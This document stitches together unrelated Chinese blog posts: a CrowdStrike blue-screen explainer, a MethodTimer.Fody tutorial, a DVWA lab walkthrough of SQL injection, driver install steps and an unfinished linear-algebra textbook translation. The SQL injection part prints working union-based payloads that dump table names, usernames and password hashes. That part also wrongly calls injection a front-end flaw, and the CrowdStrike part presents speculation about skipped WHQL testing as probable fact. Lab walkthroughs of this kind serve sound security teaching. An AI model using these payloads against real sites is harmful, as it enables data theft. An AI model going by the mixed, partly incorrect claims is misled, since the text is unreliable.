2024年7月

原因

当Windows操作系统遇到严重错误导致系统崩溃时,屏幕显示为蓝色,通常伴有错误代码和信息,这被称为“蓝屏死机”(Blue Screen of Death,简称BSOD)

https://www.thepaper.cn/newsDetail_forward_28126297
这次蓝屏事件影响非常广泛,主要原因是CrowdStrike 的内核驱动升级导致的,CrowdStrike是国外广泛使用的一个安全防护软件厂商,类似于国内的毒霸 360之类。

Microsoft says 8.5M systems hit by CrowdStrike BSOD, releases USB recovery tool When reboots don't work, bootable USB sticks may help ease fixes for some PCs.

微软为此发布了一个修复说明,核心意思是说,你用一个PE工具进入系统,然后把CrowdStrike 的内核驱动 C-00000291*.sys删掉,然后就可以了。

https://support.microsoft.com/en-us/topic/kb5042421-crowdstrike-issue-impacting-windows-endpoints-causing-an-0x50-or-0x7e-error-message-on-a-blue-screen-b1c700e0-7317-4e95-aeee-5d67dd35b92f

什么是sys文件

.sys格式的文件实际上是window 的内核驱动文件,做软件开发的工程师多少都会有些了解。内核驱动直接访问了操作系统的底层资源,如果这个文件有bug,系统很容易蓝屏,且无法恢复,因为重启的时候它又会自动加载。

先来看看.sys在widnows操作系统所处的层级,非常的low level

什么设备需要内核驱动

需要操作系统内核资源的任务或者设备,本质上都可以写一个内核驱动来调用内核资源。通常windows的外设,比如显卡、USB设备、自研PCIe设备、串口设备 都需要对应的内核驱动去实现与硬件的交互,尤其是pcie 设备,只有用内核驱动代码才能访问对应资源,从而驱动外设。

内核驱动安全策略

强制数字签名。

数字签名在Windows操作系统中扮演着重要角色,尤其是为了增强系统稳定性和安全性。数字签名是一种加密技术,用于验证软件的来源和完整性。在Windows环境下,数字签名用于确保驱动程序和其他软件来自可信赖的发布者,并且自发布以来未被篡改。

以下是数字签名在Windows系统中的几个关键作用:

  • 验证来源:数字签名可以确认软件是由已知和信任的开发人员或公司创建的,这有助于防止恶意软件和病毒的传播。
  • 确保完整性:签名过程使用公钥加密技术来创建一个唯一的数字指纹,如果软件在传输过程中或安装后被修改,数字签名将不再匹配,提示用户软件可能已被篡改。
  • 提升系统稳定性:Windows强制要求所有内核模式驱动程序都有数字签名,这是为了确保这些驱动程序遵循Microsoft的操作系统编程规范,从而减少由驱动程序引发的蓝屏事件。
  • 驱动程序认证:在Windows Vista及更高版本中,操作系统默认启用了驱动程序签名强制执行,即所有加载到内核的驱动程序必须带有有效的数字签名。这有助于防止不兼容或恶意的驱动程序加载,从而减少系统崩溃的风险。

数字签名

Windows设备安装利用数字签名来验证驱动程序包的完整性和确认提供驱动程序包的供应商(软件发布者)的身份。此外,64位版本的Windows Vista及其后续Windows版本的内核模式代码签名策略规定,内核模式驱动程序必须经过签名才能加载。

Windows 10桌面版(家庭版、专业版、企业版和教育版)以及Windows Server 2016的内核模式驱动程序必须由Windows硬件开发者中心Windows Hardware Quality Labs (WHQL)进行签名,这要求具备扩展验证(EV)证书。详情请参阅驱动程序签名策略。

所有为Windows 10(从版本1507,Threshold 1开始)由硬件开发者中心签名的驱动程序都是使用SHA2算法签名的。有关特定操作系统版本的详细签名要求,请参阅按版本划分的签名要求。

在WIN10之前,用户的内核驱动只要有EV证书签名就可以被操作系统认可,但是实际上这个策略非常不安全,因为EV证书签名很容易获取,即使不是出于非法目的,随意的内核驱动EV签名也可能频繁导致系统BSOD故障或者卡死,因为驱动开发人员不能保证它的测试项覆盖了所有必要的情况。

如何或得签名

https://learn.microsoft.com/en-us/windows-hardware/drivers/dashboard/get-started-dashboard-submissions

我们看一下经过认证的驱动签名是什么样子的。

后续会记录如何为驱动进行测试和签名。

为什么CrowdStrike 做了认证还会死机

这大概率是CrowdStrike 钻了微软的空子,因为数字签名的测试步骤非常繁琐,做1个测试至少要1天的时间,并且微软签名并不检查当前驱动打包文件的日期,只要你曾经做过一次成功的测试,保留了日志文件,那么理论上你可以跳过测试让微软签名。

这大概率会导致出现问题。当前市面上有些中介机构,号称可以做WHQL认证,实际上也是这个策略,它根本不会给你做测试,只是偷偷把你的驱动打包到已经做了测试的文件中,然后签名,没有任何成本。

前言

MethodTimer.Fody 是一个功能强大的库,可以用于测量 .NET 应用程序中的方法的执行时间。允许你在不修改代码的情况下,自动地测量和记录方法的执行时间。

这个工具是基于.NET的 weaving 技术,通过修改IL(Intermediate Language,中间语言)代码来插入计时逻辑,从而在方法调用前后记录时间戳,进而计算出方法的执行时间。

它使用 Fody 插件框架可以无缝集成到项目中,所以向代码中添加性能测量功能变得非常容易。

使用方法

1、安装NuGet包

在Visual Studio中,打开NuGet包管理器,搜索并安装
MethodTimer.Fody或者使用命令方式

PM> Install-Package Fody
PM
> Install-Package MethodTimer.Fody

具体操作如下图所示:

2、使用 Time 特性

usingMethodTimer;namespaceDemoConsole
{
internal classProgram
{
/// <summary> ///程序入口/// </summary> /// <param name="args"></param> static void Main(string[] args)
{
//调用示例方法 newProgram().DoSomething();

Console.WriteLine(
"测试方法执行结束!!!");

Console.ReadKey();
}
/// <summary> ///示例方法/// </summary> [Time]public voidDoSomething()
{
Console.WriteLine(
"测试方法执行时间!!!");
}
}
}

Fody是一个.NET的weaving框架,需要确保项目已经启用了Fody,并且在项目属性的"Fody"标签页中添加了
MethodTimer
模块。

3、执行效果

启动运行程序,可以在输出窗口查看方法的执行耗时,具体如下图所示:

4、其他说明

Time 特性不仅可以加在方法上还可以直接添加到 Class 上,具体如下代码所示:

usingMethodTimer;namespaceConsoleApp3
{
[Time]
internal classProgram
{
/// <summary> ///程序入口/// </summary> /// <param name="args"></param> static void Main(string[] args)
{
//调用示例方法 newProgram().DoSomething();newProgram().ToDoSomething();

Console.WriteLine(
"方法执行结束!!!");

Console.ReadKey();
}
/// <summary> ///示例方法1/// </summary> public voidDoSomething()
{
Console.WriteLine(
"001——测试执行时间方法!!!");

}
/// <summary> ///示例方法2/// </summary> public voidToDoSomething()
{
Console.WriteLine(
"002——测试执行时间方法!!!");

}
}
}

运行程序后,可以输出类中每个方法的执行时间。

实际上,在代码中添加了 Time 特性以后,Fody 会自动生成下面的代码

 public classMyClass
{
[Time]
public voidDoSomething()
{
Stopwatch stopwatch
= newStopwatch();
stopwatch.Start();
//原始方法体 System.Threading.Thread.Sleep(1000); //模拟工作 stopwatch.Stop();//输出或记录执行时间 Console.WriteLine($"执行时间:{stopwatch.Elapsed.TotalMilliseconds} ms");
}
}

5、拦截记录

如果想手动处理日志记录,可以定义一个静态类来拦截日志记录,方法的示例,具体如下代码所示

public static classMethodTimeLogger
{
public static void Log(MethodBase methodBase, TimeSpan elapsed, stringmessage)
{
//Do some logging here }
}

生成后的代码

public classMyClass
{
public voidMyMethod()
{
var stopwatch =Stopwatch.StartNew();try{ Console.WriteLine("Hello");
}
finally{
stopwatch.Stop();
MethodTimeLogger.Log(methodof(MyClass.MyMethod), stopwatch.Elapsed);
}
}
}

MethodTimer.Fody是一个非常有用的工具,尤其在性能调优阶段,可以帮助你快速识别出哪些方法是性能瓶颈,从而针对性地进行优化。

主要特点

1、非侵入式

MethodTimer.Fody不需要在源代码中添加额外的计时代码,只需要在项目中添加相应的NuGet包,并在项目属性中做一些配置,就可以自动地为方法添加计时功能。

2、灵活的配置

你可以选择性地对某些方法进行计时,或者排除不想被计时的方法。这通常通过方法的特性或者类的命名空间来进行配置。

3、输出结果多样化

MethodTimer.Fody可以将计时结果输出到不同的地方,如控制台、日志文件或者通过事件追踪(ETW)等方式,这取决于你的配置。

4、性能影响小

尽管MethodTimer.Fody在方法中插入了计时逻辑,但它被设计得尽可能地对性能影响最小,通过精心优化的IL代码插入策略来实现这一点。

总结

MethodTimer.Fody 是一个强大的工具,提供了简便的方式来监控 C# 方法的执行时间,特别适用于需要快速诊断性能问题的场合。

通过其灵活的配置和非侵入性的特性,它可以无缝地融入现有的开发流程中,帮助我们团队提高应用的性能和响应速度。

这个工具特别适合在开发和测试阶段快速识别性能瓶颈,而无需在代码中显式地添加计时代码,可以保持源代码的整齐性和可维护性。

开源地址

https://github.com/Fody/MethodTimer

如果觉得这篇文章对你有用,欢迎加入微信公众号 [
DotNet技术匠
] 社区,与其他热爱技术的同行交流心得,共同成长。

1)漏洞简介

SQL 注入简介

SQL 注入
即是指 Web 应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在 Web 应用程序中事先定义好的查询语句的结尾上
添加额外的 SQL 语句

,在管理员不知情的情况下实现非法操作,
以此来实现欺骗数据库服务器执行非授权的任意查询

从而进一步得到相应的数据信息。

SQL 注入概念

**SQL 注入漏洞 **主要形成的原因是在数据交互中,站点针对前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到 SQL 语句中后,被当作 SQL 语句的一部分执行。 从而导致数据库受损(被脱裤、被删除、甚至整个服务器权限沦陷)。
主要是开发人员在构建代码时,没有对输入边界进行安全考虑,导致攻击着可以 通过合法的输入点提交一些精心构造的语句,从而欺骗后台数据库对其进行执行,导致数据库信息泄漏的一种漏洞。

SQL 注入攻击流程

第一步:注入点探测
自动方式:使用 Web 漏洞扫描工具,自动进行注入点发现
手动方式:手工构造 sql inject 测试语句进行注入点发现

第二步:信息获取
通过注入点取期望得到的数据。

  1. 环境信息:数据库类型,数据库版本,操作系统版本,用户信息等。
  2. 数据库信息:数据库名,数据表名,表字段名,字段内容(加密内容破解)

第三步:获取权限
获取操作系统权限:通过数据库执行 Shell,上传木马

2)漏洞原理

可以通过网站存在的查询语句进行构造,为此开发者对其伤透了脑筋,漏洞不光是查询,可能还存在与 API、隐藏链接、http 头数据、写入数据等。需要对数据包的结构和传递函数比较了解,建议学习的时候把数据库的日志打开,就可以查看到传递到数据库的语句是什么样子的了。
需要记住的 information_schema 数据库的 SCHEMATA、TABLES、COLUMNS。 SCHEMATA 表中存放所有数据库的名,字段名为 SCHEMA_NAME。 关键函数 database() 当前数据库名、version() 当前 mysql 版本、user() 当前 mysql 用户。

3)漏洞危害

属于危害较高的漏洞,可以获取敏感信息,修改信息,脱库,上传 Webshell,执行命令。

  1. 参数用户可控:前端传给后端的参数内容是用户可以控制的。( 输入框,URL,抓包 )
  2. 参数带入数据库查询:传入的参数拼接到 SQL 语句,且带入数据库查询。

**SQL 注入漏洞 **发生在前端,属于前端开发设计漏洞。该漏洞与后端数据库执行无关。

SQL 注入被广泛用于非法入侵网站服务器,获取网站控制权。它是应用层上的一种安全漏洞。

通常在设计存在缺陷的程序中,
对用户输入的数据没有做好过滤,导致恶意用户可以构造一些SQL语句让服务器去执行,
从而导致数据库中的数据被窃取,篡改,删除,以及进一步导致服务器被入侵等危害。

环境准备

docker pull sagikazarmark/dvwa
docker run -d --name dvwa -p 8081:80 -p 33060:3306 sagikazarmark/dvwa

image.png

docker exec -it dvwa /bin/bash

image.png

show databases;
  • information_schema
    :可用来访问数据库的元数据,
    相似于信息数据库
    。其中保存着
    关于MySQL 服务器 所维护的所有其他数据库的信息
    (元数据)。如数据库名,数据库的表,表栏的数据类型与访问权限等。

4)SQL 注入分类

4.1)数字型

当输入的参数为整形时,如果存在注入漏洞,
可以认为是数字型注入。

测试步骤:
1. 加单引号, URL:www.text.com/text.php?id=3'
对应的 sql: select * from table where id=3' 这时 sql 语句出错, 程序无法正常从数据库中查询出数据, 就会抛出异常; 此时可以判断大概率存在注入, 因为只有服务器将这个单引号一起当作 SQL 语句执行时才会报错.

2. 加 and 1=1, URL: www.text.com/text.php?id=3 and 1=1
对应的 sql: select * from table where id=3 and 1=1 语句执行正常, 与原始页面无任何差异;

3. 加 and 1=2, URL: www.text.com/text.php?id=3 and 1=2
对应的 sql: select * from table where id=3 and 1=2 语句可以正常执行, 但是无法查询出结果, 所以返回数据与原始网页存在差异.

  1. 单引号
    测试
SELECT first_name, last_name FROM users WHERE user_id = '1'';

image.png
image.png

  1. **加 **
    and 1=1
    测试

如下查询到数据的状况:
存在两种情况。

  1. 有引号:
    网站把输入的
    1 and 1=1
    **当成字符串 **传递到后端,因隐式转换的存在,所以查询出结果。
  2. 无引号:
    网站识别了输入的
    and 1=1

    做了逻辑判断
    。所以能查询出结果。存在 SQL 注入。
SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=1';

image.png
image.png

  1. **加 **
    and 1=2
    测试

成功返回结果,说明输入的内容是被
当成了字符串执行(隐式转换)

并未做逻辑运算。
如果做了逻辑运算,则存在 SQL 注入漏洞。

SELECT first_name, last_name FROM users WHERE user_id = '1 and 1=2';

image.png
image.png

  1. 未做隐式转换的效果
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=1;
SELECT first_name, last_name FROM users WHERE user_id = 1 and 1=2;

image.png

如果满足以上三点,则可以判断该 URL 存在数字型注入。


4.2)字符型

当输入的参数为字符串时,
称为字符型。
字符型和数字型最大的一个区别在于,
数字型不需要单引号来闭合,而字符串一般需要通过单引号来闭合的。
数字型语句:
select * from table where id =3;
字符型如下:
select * from table where name='admin';

因此,在构造 Payload 时
通过闭合单引号
可以成功执行语句:
实现了绕过被单引号包含的结局

尝试输入: 1' and 1=1 #
# 基于这种方法: 实现了绕过被单引号包含的结局
# 实现了在 SQL 语句层面, 输入的内容是两个正常的表达式.
SELECT first_name, last_name FROM users WHERE user_id = '1' and 1=1 #';

image.png
image.png
image.png
image.png

可以判断为:
字符型注入
,对参数 id 没有做任何过滤,并且用单引号闭合。

因为
条件 1=1 永远为真
( 恒为真 )
所以 where 查询不再限制只返回特定
user_id
的记录,**而是返回整个表的内容。 **

# 理想效果
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1;

# 闭合单引号
SELECT first_name,last_name FROM users WHERE user_id = 'suibianxie' or 1=1 #';

image.png
image.png
image.png

4.3)Union 注入 ( 联合查询注入 )

联合查询是可合并多个相似的选择查询的结果集。等同于将一个表追加到另一个表,从而实现将两个表的查询组合到一起,使用 UNION 或 UNION ALL。
注意:
UNION
操作符选取不重复的值。如果允许重复的值,请使用
UNION ALL

select user_id,first_name from users where user_id=1 union all select user_id,first_name from users where user_id=1;

image.png

select user_id,first_name from users where user_id=1 union select user_id,first_name from users where user_id=1;

image.png

推荐使用
UNION ALL
,因为
UNION
会自动过滤掉字段内容重复的数据,这可能导致我们错过想查找的相关数据内容。

前提条件:页面存在显示位

MySQL 5.0 以上版本,存在一个自带的数据库名为:information_schema(重点)

information_schema
数据库中 **有三个表 **非常重要

  1. schemata
    :表里包含
    所有数据库的名字
  2. tables
    :表里包含
    所有数据库的所有表名
    ,默认字段为 table_name
  3. columns
    :表里包含
    所有数据库的所有表的所有字段名

三个列
非常重要

  • SCHEMA_NAME
    :数据库名
  • TABLE_NAME
    :表名
  • COLUMN_NAME
    :字段名
# 爆库名
select database();
select SCHEMA_NAME from information_schema.schemata;
select group_concat(SCHEMA_NAME) from information_schema.schemata;

# 爆表名
select TABLE_NAME from information_schema.tables where table_schema='dvwa';
select group_concat(TABLE_NAME) from information_schema.tables where table_schema='dvwa';

# 爆列名
select COLUMN_NAME from information_schema.columns where TABLE_NAME='users';
select group_concat(COLUMN_NAME) from information_schema.columns where TABLE_NAME='users';

image.png

联合注入的过程:

  1. 判断注入点
  2. 判断是整型还是字符型
  3. 判断列数、判断显示位
  4. 获取所有数据库名
  5. 获取数据库所有表名、字段名、字段中的数据重

判断
列数
、判断
显示位
通过
order by**

得知输出的结果有几列
image.png

  1. 通过
    order by

    判断列数
# 正常
1' order by 2#

image.png
image.png

  1. 通过
    union all

    判断显示位

判断 select 查询语句的
字段个数
信息,
用于与后边联合查询数量做匹配

# 确定显示位
1' union all select 1,2#

image.png
image.png

1' union all select 1,2,3#

image.png

  1. 爆出 **数据库名 **和
    版本信息

select database()
获得当前数据库名称

# 爆出数据库名和版本信息
1' union all select database(),version()#

image.png
image.png

基于
group_concat
函数
是一个非常实用的聚合函数**
用于在分组查询中将同一组内的多个值合并为一个字符串

select group_concat(first_name) from users;

image.png

  1. 爆出 dvwa 数据库中的
    数据表
# 爆出 dvwa 数据库中有 guestbook,users 两个表
1' union select 1,table_name from information_schema.tables where table_schema ='dvwa'#

# 加 group_concat() 函数
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema ='dvwa'#

image.png
image.png
image.png
image.png

  1. 爆出 users
    表字段
# 得到 users 表字段信息
1' UNION SELECT 1,column_name from information_schema.columns where table_schema='dvwa' and table_name='users'#

# 加 group_concat() 函数
1' UNION SELECT 1,group_concat(column_name) from information_schema.columns where table_schema='dvwa' and table_name='users'#

image.png
image.png

  1. 最终基于 我们得到的
    数据库名称

    数据库表名

    数据库字段名

通过
联合查询
过滤到表中的 **用户名 **和
密码信息
( 数据信息 )

# 得到用户名和密码
1' union select user,password from users#

image.png
image.png

MD5 解密站点( 撞库逻辑原理 )
image.png
image.png

大功告成

反射内存卡驱动的安装通常遵循以下一般步骤,但具体过程可能因产品型号和操作系统的不同而有所差异:
1.准备工作 - 确认您的操作系统版本和体系结构(32 位或 64 位)。 - 从反射内存卡制造商的官方网站下载适用于您的操作系统的最新驱动程序。
2. 解压驱动文件 - 将下载的驱动压缩包解压到一个您容易访问的文件夹。
3. 关闭可能干扰安装的程序 - 关闭防病毒软件、防火墙和其他可能阻止驱动安装的安全程序。
4. 运行安装程序 - 进入解压后的文件夹,查找安装文件(通常是
.exe
文件对于 Windows 系统,或者
.run
文件对于 Linux 系统)。 - 以管理员身份运行安装程序。
5. 遵循安装向导 - 安装向导会引导您完成一系列步骤,可能包括接受许可协议、选择安装目录等。 - 按照提示进行操作。
6. 系统配置 - 在安装过程中,可能需要您选择一些系统配置选项,例如选择要安装的组件、设置驱动的工作模式等。 - 根据您的需求和系统环境进行选择。
7. 等待安装完成 - 安装过程可能需要一些时间,请耐心等待。
8. 重启计算机(如果需要) - 安装完成后,安装程序可能会提示您重启计算机以使驱动生效。
以 Windows 系统为例,如果您安装的是某款特定型号的反射内存卡驱动,可能还会有以下额外步骤:

  1. 安装过程中可能会弹出 Windows 徽标测试提示,选择“仍然继续”。
  2. 安装完成后,您可以在设备管理器中查看反射内存卡是否正确安装并正常工作。如果出现黄色感叹号或问号,可能表示驱动安装有问题,需要重新安装或更新驱动。
    对于 Linux 系统:
  3. 打开终端,切换到驱动程序解压后的目录。
  4. 根据驱动提供的安装说明,可能需要执行一些命令来进行编译和安装,例如
    make

    make install
    命令。
  5. 安装完成后,可能需要加载内核模块,例如使用
    modprobe
    命令。
    需要注意的是,不同品牌和型号的反射内存卡驱动安装过程可能会有所不同,以上步骤仅为一般性指导。在安装前,务必仔细阅读驱动程序提供的安装说明和文档。

阅读翻译Mathematics for Machine Learning之2.7 Linear Mappings

关于:

  • 首次发表日期:2024-07-23
  • Mathematics for Machine Learning官方链接:
    https://mml-book.com
  • ChatGPT和KIMI机翻,人工润色
  • 非数学专业,如有错误,请不吝指出

2.7 线性映射

在接下来的内容中,我们将研究保持向量空间结构的映射,这将使我们能够定义坐标的概念。在本章的开头,我们提到向量是可以相加和乘以标量的对象,且结果仍然是向量。当应用映射时,我们希望保持这一性质:考虑两个实向量空间
\(V, W\)
。如果映射
\(\Phi: V \rightarrow W\)
满足以下条件,则它保持向量空间的结构:

\[\begin{align*}
\Phi(\boldsymbol{x}+\boldsymbol{y}) & =\Phi(\boldsymbol{x})+\Phi(\boldsymbol{y}) \tag{2.85} \\
\Phi(\lambda \boldsymbol{x}) & =\lambda \Phi(\boldsymbol{x}) \tag{2.86}
\end{align*}
\]

对于所有
\(\boldsymbol{x}, \boldsymbol{y} \in V\)

\(\lambda \in \mathbb{R}\)
成立。我们可以用以下定义来总结这一点:

定义 2.15
(线性映射)。对于向量空间
\(V, W\)
,一个映射
\(\Phi: V \rightarrow W\)
被称为
线性映射
(或
向量空间同态
/
线性变换
),如果

\[\forall \boldsymbol{x}, \boldsymbol{y} \in V \ \forall \lambda, \psi \in \mathbb{R}: \Phi(\lambda \boldsymbol{x}+\psi \boldsymbol{y})=\lambda \Phi(\boldsymbol{x})+\psi \Phi(\boldsymbol{y})
\tag{2.87}
\]

结果表明,我们可以将线性映射表示为矩阵(见第 2.7.1 节)。回想一下,我们也可以将一组向量作为矩阵的列。在使用矩阵时,我们必须记住矩阵代表的是什么:是线性映射还是向量的集合。我们将在第 4 章中详细讨论线性映射。在继续之前,我们将简要介绍一些特殊的映射。

定义 2.16
(单射、满射、双射)。考虑一个映射
\(\Phi\)
:
\(\mathcal{V} \rightarrow \mathcal{W}\)
,其中
\(\mathcal{V}\)

\(\mathcal{W}\)
可以是任意集合。那么
\(\Phi\)
被称为:

  • 单射(Injective),如果
    \(\forall \boldsymbol{x}, \boldsymbol{y} \in \mathcal{V}\)
    ,有
    \(\Phi(\boldsymbol{x})=\Phi(\boldsymbol{y}) \Longrightarrow \boldsymbol{x}=\boldsymbol{y}\)
  • 满射(Surjective),如果
    \(\Phi(\mathcal{V})=\mathcal{W}\)
  • 双射(Bijective),如果它既是单射又是满射。

如果
\(\Phi\)
是满射,那么
\(\mathcal{W}\)
中的每个元素都可以通过
\(\Phi\)

\(\mathcal{V}\)
中“到达”。双射
\(\Phi\)
可以“被逆”,即存在一个映射
\(\Psi\)
:
\(\mathcal{W} \rightarrow \mathcal{V}\)
使得
\(\Psi \circ \Phi(\boldsymbol{x})=\boldsymbol{x}\)
。这个映射
\(\Psi\)
被称为
\(\Phi\)
的逆映射,通常记作
\(\Phi^{-1}\)

有了这些定义,我们介绍以下向量空间
\(V\)

\(W\)
之间的线性映射的特例:

  • 同构(Isomorphism):
    \(\Phi: V \rightarrow W\)
    线性且双射
  • 自同态(Endomorphism):
    \(\Phi: V \rightarrow V\)
    线性
  • 自同构(Automorphism):
    \(\Phi: V \rightarrow V\)
    线性且双射
  • 我们定义
    \(\operatorname{id}_V: V \rightarrow V, \boldsymbol{x} \mapsto \boldsymbol{x}\)

    \(V\)
    中的恒等映射或恒等自同构。



**例 2.19(同态(Homomorphism))**

映射
\(\Phi: \mathbb{R}^2 \rightarrow \mathbb{C}, \Phi(\boldsymbol{x})=x_1+i x_2\)
是一个同态:

\[\begin{aligned}
\Phi\left(\left[\begin{array}{l}
x_1 \\
x_2
\end{array}\right]+\left[\begin{array}{l}
y_1 \\
y_2
\end{array}\right]\right) & =\left(x_1+y_1\right)+i\left(x_2+y_2\right)=x_1+i x_2+y_1+i y_2 \\
& =\Phi\left(\left[\begin{array}{l}
x_1 \\
x_2
\end{array}\right]\right)+\Phi\left(\left[\begin{array}{l}
y_1 \\
y_2
\end{array}\right]\right) \\
\Phi\left(\lambda\left[\begin{array}{l}
x_1 \\
x_2
\end{array}\right]\right) & =\lambda x_1+\lambda i x_2=\lambda\left(x_1+i x_2\right)=\lambda \Phi\left(\left[\begin{array}{l}
x_1 \\
x_2
\end{array}\right]\right) .
\end{aligned}
\tag{2.88}
\]

这也说明了为什么复数可以表示为
\(\mathbb{R}^2\)
中的元组:存在一个双射线性映射,可以将
\(\mathbb{R}^2\)
中元组的逐元素加法转换为对应加法的复数集合。请注意,我们这里只展示了线性性,而不是双射性。


定理 2.17
(Axler (2015) 的定理 3.59)。有限维向量空间
\(V\)

\(W\)

同构的
,当且仅当
\(\operatorname{dim}(V)=\operatorname{dim}(W)\)

定理 2.17 表明,存在一个线性、双射的映射在两个相同维度的向量空间之间。直观上,这意味着相同维度的向量空间在某种程度上是相同的,因为它们可以互相转换而不会遭受任何损失。

定理 2.17 还为我们提供了将
\(\mathbb{R}^{m \times n}\)

\(m \times n\)
矩阵的向量空间)和
\(\mathbb{R}^{mn}\)
(长度为
\(mn\)
的向量的向量空间)视为相同的理由,因为它们的维度都是
\(mn\)
,并且存在一个线性、双射的映射将一个转换为另一个。

备注
。考虑向量空间
\(V, W, X\)
。那么:

  • 对于线性映射
    \(\Phi: V \rightarrow W\)

    \(\Psi: W \rightarrow X\)
    ,映射
    \(\Psi \circ \Phi: V \rightarrow X\)
    也是线性的。
  • 如果
    \(\Phi: V \rightarrow W\)
    是同构(isomorphism),那么
    \(\Phi^{-1}: W \rightarrow V\)
    也是同构。
  • 如果
    \(\Phi: V \rightarrow W, \Psi: V \rightarrow W\)
    是线性的,那么
    \(\Phi+\Psi\)

    \(\lambda \Phi, \lambda \in \mathbb{R}\)
    ,也是线性的。

2.7.1 线性映射的矩阵表示

任何
\(n\)
维向量空间都与
\(\mathbb{R}^n\)
同构(定理 2.17)。我们考虑一个
\(n\)
维向量空间
\(V\)
的基
\(\left\{\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right\}\)
。在接下来的内容中,基向量的顺序很重要。因此,我们写作

\[B=\left(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right)
\tag{2.89}
\]

并称这个
\(n\)
元组为
\(V\)
的有序基。

备注
(符号)。我们现在使用的符号有点复杂,因此我们在这里总结一些部分。
\(B=\left(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right)\)
是一个有序基,
\(\mathcal{B}=\left\{\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right\}\)
是一个(无序)基,
\(\boldsymbol{B}=\left[\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right]\)
是一个矩阵,其列是向量
\(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\)

定义 2.18
(坐标)。考虑一个向量空间
\(V\)
和其有序基
\(B=\left(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right)\)
。对于任何
\(\boldsymbol{x} \in V\)
,我们可以得到一个唯一的表示(线性组合)

\[\boldsymbol{x}=\alpha_1 \boldsymbol{b}_1+\ldots+\alpha_n \boldsymbol{b}_n
\]

其中
\(\alpha_1, \ldots, \alpha_n\)

\(\boldsymbol{x}\)
相对于
\(B\)
的坐标,并且向量

\[\boldsymbol{\alpha}=\left[\begin{array}{c}
\alpha_1 \\
\vdots \\
\alpha_n
\end{array}\right] \in \mathbb{R}^n
\]


\(\boldsymbol{x}\)
相对于有序基
\(B\)

坐标向量
/
坐标表示

一个基实际上定义了一个坐标系。我们熟悉的二维笛卡尔坐标系是由标准基向量
\(\boldsymbol{e}_1, \boldsymbol{e}_2\)
张成的。在这个坐标系中,向量
\(\boldsymbol{x} \in \mathbb{R}^2\)
有一个表示,它告诉我们如何线性组合
\(\boldsymbol{e}_1\)

\(\boldsymbol{e}_2\)
来得到
\(\boldsymbol{x}\)
。然而,
\(\mathbb{R}^2\)
的任何基都定义了一个有效的坐标系,并且相同的向量
\(\boldsymbol{x}\)
在基
\(\left(\boldsymbol{b}_1, \boldsymbol{b}_2\right)\)
中可能有不同的坐标表示。在图 2.8 中,向量
\(\boldsymbol{x}\)
相对于标准基
\(\left(\boldsymbol{e}_1, \boldsymbol{e}_2\right)\)
的坐标是
\([2,2]^{\top}\)
。然而,相对于基
\(\left(\boldsymbol{b}_1, \boldsymbol{b}_2\right)\)
,相同的向量
\(\boldsymbol{x}\)
表示为
\([1.09,0.72]^{\top}\)
,即
\(\boldsymbol{x}=1.09 \boldsymbol{b}_1+0.72 \boldsymbol{b}_2\)
。在接下来的部分中,我们将探讨如何获得这种表示。




**例 2.20**

我们来看一个几何向量
\(\boldsymbol{x} \in \mathbb{R}^2\)
,其相对于
\(\mathbb{R}^2\)
的标准基
\(\left(\boldsymbol{e}_1, \boldsymbol{e}_2\right)\)
的坐标为
\([2,3]^{\top}\)
。这意味着,我们可以写作
\(\boldsymbol{x}=2 \boldsymbol{e}_1+3 \boldsymbol{e}_2\)
。然而,我们不必选择标准基来表示这个向量。如果我们使用基向量
\(\boldsymbol{b}_1=[1,-1]^{\top}\)

\(\boldsymbol{b}_2=[1,1]^{\top}\)
,我们将得到坐标
\(\frac{1}{2}[-1,5]^{\top}\)
来表示相对于
\(\left(\boldsymbol{b}_1, \boldsymbol{b}_2\right)\)
的相同向量(见图 2.9)。


备注
。对于一个
\(n\)
维向量空间
\(V\)

\(V\)
的一个有序基
\(B\)
,映射
\(\Phi: \mathbb{R}^n \rightarrow V, \Phi\left(\boldsymbol{e}_i\right)=\boldsymbol{b}_i, i=1, \ldots, n\)
是线性的(根据定理 2.17,是一个同构),其中
\(\left(\boldsymbol{e}_1, \ldots, \boldsymbol{e}_n\right)\)

\(\mathbb{R}^n\)
的标准基。

现在我们已经准备好明确地建立矩阵与有限维向量空间之间的线性映射之间的联系。

定义 2.19
(变换矩阵)。考虑向量空间
\(V\)

\(W\)
,它们分别有对应的(有序)基
\(B=\left(\boldsymbol{b}_1, \ldots, \boldsymbol{b}_n\right)\)

\(C=\left(\boldsymbol{c}_1, \ldots, \boldsymbol{c}_m\right)\)
。此外,我们考虑一个线性映射
\(\Phi: V \rightarrow W\)
。对于
\(j \in\{1, \ldots, n\}\)

\[\Phi\left(\boldsymbol{b}_j\right)=\alpha_{1 j} \boldsymbol{c}_1+\cdots+\alpha_{m j} \boldsymbol{c}_m=\sum_{i=1}^m \alpha_{i j} \boldsymbol{c}_i
\tag{2.92}
\]


\(\Phi\left(\boldsymbol{b}_j\right)\)
相对于
\(C\)
的唯一表示。然后,我们称
\(m \times n\)
矩阵
\(\boldsymbol{A}_{\Phi}\)
,其元素由下式给出

\[A_{\Phi}(i, j)=\alpha_{i j},
\tag{2.93}
\]


\(\Phi\)

变换矩阵
(相对于
\(V\)
的有序基
\(B\)

\(W\)
的有序基
\(C\)
)。

\(\Phi\left(\boldsymbol{b}_j\right)\)
相对于
\(W\)
的有序基
\(C\)
的坐标是
\(\boldsymbol{A}_{\Phi}\)
的第
\(j\)
列。考虑(有限维)向量空间
\(V, W\)
具有有序基
\(B, C\)
和线性映射
\(\Phi: V \rightarrow W\)
及其变换矩阵
\(\boldsymbol{A}_{\Phi}\)
。如果
\(\hat{\boldsymbol{x}}\)

\(\boldsymbol{x} \in V\)
相对于
\(B\)
的坐标向量,
\(\hat{\boldsymbol{y}}\)

\(\boldsymbol{y}=\Phi(\boldsymbol{x}) \in W\)
相对于
\(C\)
的坐标向量,那么

